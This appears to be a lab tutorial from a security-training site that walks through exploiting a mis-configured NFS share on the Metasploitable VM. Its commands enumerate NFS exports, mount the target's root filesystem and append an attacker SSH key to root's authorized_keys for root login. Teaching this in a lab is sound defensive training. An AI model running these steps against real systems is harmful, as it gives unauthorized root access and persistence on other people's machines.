ComputerSecurityStudent (CSS) [Login] [Join Now]


|SECURITY TOOLS >> Metasploitable Project >> Exploits >> Current Page |Views: 237248

(Metasploitable Project: Lesson 4)

{ Exploiting a Mis-Configured NFS Share }

Section 0. Background Information
  1. Metasploitable 
  2. Pre-Requisite Lab  
  3. What is nfs?
    • Network File System (NFS) is a distributed file system protocol originally developed by Sun Microsystems in 1984,allowing a user on a client computer to access files over a network in a manner similar to how local storage is accessed. NFS, like many other protocols, builds on the Open Network Computing Remote Procedure Call (ONC RPC) system. The Network File System is an open standard defined in RFCs, allowing anyone to implement the protocol.

  4. What is rpcbind?
    • The rpcbind utility maps RPC services to the ports on which they listen. RPC processes notify rpcbind when they start, registering the ports they are listening on and the RPC program numbers they expect to serve. The client system then contacts rpcbind on the server with a particular RPC program number. The rpcbind service redirects the client to the proper port number so it can communicate with the requested service. Because RPC-based services rely on rpcbind to make all connections with incoming client requests, rpcbind must be available before any of these services start

  5. Lab Notes
    • In this lab we will do the following:
      1. Run an intense NMAP Scan on the Metasploitable VM
      2. Search for the nfs, rpcbind, and ssh daemons
      3. Use showmount to identified all shared file systems
      4. Expose the metasploitable shared file system
      5. Obtain root access on the metasploitable VM

  6. Legal Disclaimer
    • As a condition of your use of this Web site, you warrant to computersecuritystudent.com that you will not use this Web site for any purpose that is unlawful or that is prohibited by these terms, conditions, and notices.
    • In accordance with UCC § 2-316, this product is provided with "no warranties, either express or implied." The information contained is provided "as-is", with "no guarantee of merchantability."
    • In addition, this is a teaching website that does not condone malicious behavior of any kind.
    • You are on notice, that continuing and/or using this lab outside your "own" test environment is considered malicious and is against the law.
    • © 2013 No content replication of any kind is allowed without express written permission.

 

Section 1: Start Up the Metasploitable VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer

     

  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine

     

  3. Open the Metasploitable VM
    • Instructions:
      1. Navigate to where the Metasploitable VM is located
      2. Click on on the Metasploitable VM
      3. Click on the Open Button

     

  4. Edit the Metasploitable VM
    • Instructions:
      1. Select Metasploitable2-Linux VM
      2. Click Edit virtual machine settings

     

  5. Edit the Metasploitable VM
    • Instructions:
      1. Click on "Network Adapter NAT"
      2. Select the radio button "Bridged: Connected directly to the physical network"
      3. Click on the OK button
    • Warning:
      • By changing from NAT to Bridged opens the VM and network up to potential attacks.
      • To maintain a safe network, you could (1) skip this section and only use the host-only network, (2) unplug your router from the internet, (3) use an ACL to not allow traffic into your network, etc.

     

  6. Play the Metasploitable VM
    • Instructions:
      1. Click on the Metasploitable VM
      2. Click on Play virtual machine

 

Section 2: Determine Metasploitable IP Address
  1. Logging into Metasploitable
    • Instructions
      1. Username: msfadmin
      2. Password: msfadmin or whatever you changed it to in lesson 1.

     

  2. Change the msfadmin password
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • This is the IP Address of the Victim Machine.
      • My IP Address is 192.168.1.112.
      • Record your IP Address.

 

Section 4: Start Up the BackTrack5R1 VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer

     

  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine

     

  3. Open the BackTrack5R1 VM
    • Instructions:
      1. Navigate to where the BackTrack5R1 VM is located
      2. Click on on the BackTrack5R1 VM
      3. Click on the Open Button

     

  4. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings

     

  5. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button

     

  6. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine

     

  7. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.

     

  8. Bring up the GNOME
    • Instructions:
      1. Type startx

     

  9. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window

     

  10. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.108.
      • In your case, it will probably be different.
      • This is the machine that will be use to attack the victim machine (Metasploitable).

 

Section 5: Scanning the Victim with NMAP
  1. Run Intense NMAP Scan on the Metasploitable VM
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
      • This intense NMAP scan could take 3 to 5 minutes to run.
    • Instructions:
      1. nmap -p 1-65535 -T4 -A -v 192.168.1.112 2>&1 | tee /var/tmp/scan.txt

     

  2. Looking for rpcinfo, nfs and ssh
    • Instructions:
      1. cd /var/tmp
      2. egrep -i '(nfs|rpcbind|ssh)' scan.txt
    • Note(FYI):
      • nfs runs on port 2049 for both TCP and UDP.
      • ssh runs on port 22.
      • rpcbind runs on port 111 for both TCP and UDP.

 

Section 6: Conduct a NFS Assessment
  1. Using rpcinfo
    • Instructions:
      1. rpcinfo -p 192.168.1.112
      2. rpcinfo -p 192.168.1.112 | grep nfs
    • Note(FYI):
      • Replace 192.168.1.112 with metasploitable's IP address obtained from (Section 2, Step 2).
      • The rpcinfo command makes an RPC call to an RPC server and reports the status of the server.  In this case, we are asking metasploitable's RPC server show us all of its RPC problems that are running. (e.g., nfs, mountd, status, portmapper, nlockmgr).

     

  2. Using showmount
    • Instructions:
      1. showmount -e 192.168.1.112
    • Note(FYI):
      • Replace 192.168.1.112 with metasploitable's IP address obtained from (Section 2, Step 2).
      • showmount queries the mount daemon on a remote host for information about the state of the NFS server on that machine.
      • The "/" filesystem is owned by root for most flavors of Unix and Linux.  Allowing the world to mount to the "/" file system opens up Paradora's box to an unlimited amount of exploits.

 

Section 7: Exploiting the Mis-Configured NFS Mount
  1. Create SSH Key Pair
    • Instructions:
      1. mkdir -p /root/.ssh
      2. cd /root/.ssh/
      3. cat /dev/null > known_hosts
        • This is not necessary.  I do this to prevent a potential man-in-the middle known_host message.
      4. ssh-keygen -t rsa -b 4096
      5. Enter file in which to save the key (/root/.ssh/id_rsa): hacker_rsa
      6. Enter passphrase (empty for no passphrase): Just Press Enter
      7. Enter same passphrase again: Just Press Enter
      8. ls -l

     

  2. Mount Metasploitable's "/" File System
    • Instructions:
      1. cd /
      2. mount -t nfs 192.168.1.112:/ /mnt -o nolock
        • nolock — Disables file locking.
      3. df -k
    • Note(FYI):
      • Replace 192.168.1.112 with metasploitable's IP address obtained from (Section 2, Step 2).
      • Notice we have successfully mounted up metasploitable's "/" filesystem to BackTrack's /mnt directory.

     

  3. Modify metasploitable's authorized_keys file
    • Instructions:
      1. cd /mnt/root/.ssh
      2. cp /root/.ssh/hacker_rsa.pub /mnt/root/.ssh/
      3. ls -l
      4. cat authorized_keys
      5. cat hacker_rsa.pub >> authorized_keys
      6. cat authorized_keys
    • Note(FYI):
      • Since metasploitable's "/" file system is writable to the world, we are able to append BackTrack's ssh public key to metasploitable's authorized_keys file.

     

  4. Obtain Root Access
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
    • Instructions:
      1. cd /root/.ssh/
      2. ssh -i /root/.ssh/hacker_rsa root@192.168.1.112
      3. yes
        • The "Are you sure ... (yes/no)?" message only occur during your very first connection.
      4. whoami
      5. exit

     

Section 8: Basic System Network Forensics
  1. Using showmount
    • Instructions:
      1. showmount -a 192.168.1.112
      2. umount /mnt
      3. df -k
      4. showmount -a 192.168.1.112
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
      • Notice after we un-mount from metasploitable's share that BackTrack's IP address is no longer present.

     

Section 9: Proof of Lab
  1. Proof of Lab
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
    • Instructions:
      1. ssh -i /root/.ssh/hacker_rsa root@192.168.1.112 "cat /etc/exports"
      2. ssh -i /root/.ssh/hacker_rsa root@192.168.1.112 "date"
      3. date
      4. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
    • Proof of Lab Instructions
      1. Press both the <Ctrl> and <Alt> keys at the same time.
      2. Do a <PrtScn>
      3. Paste into a word document
      4. Upload to Moodle


Help ComputerSecurityStudent
pay for continued research,
resources & bandwidth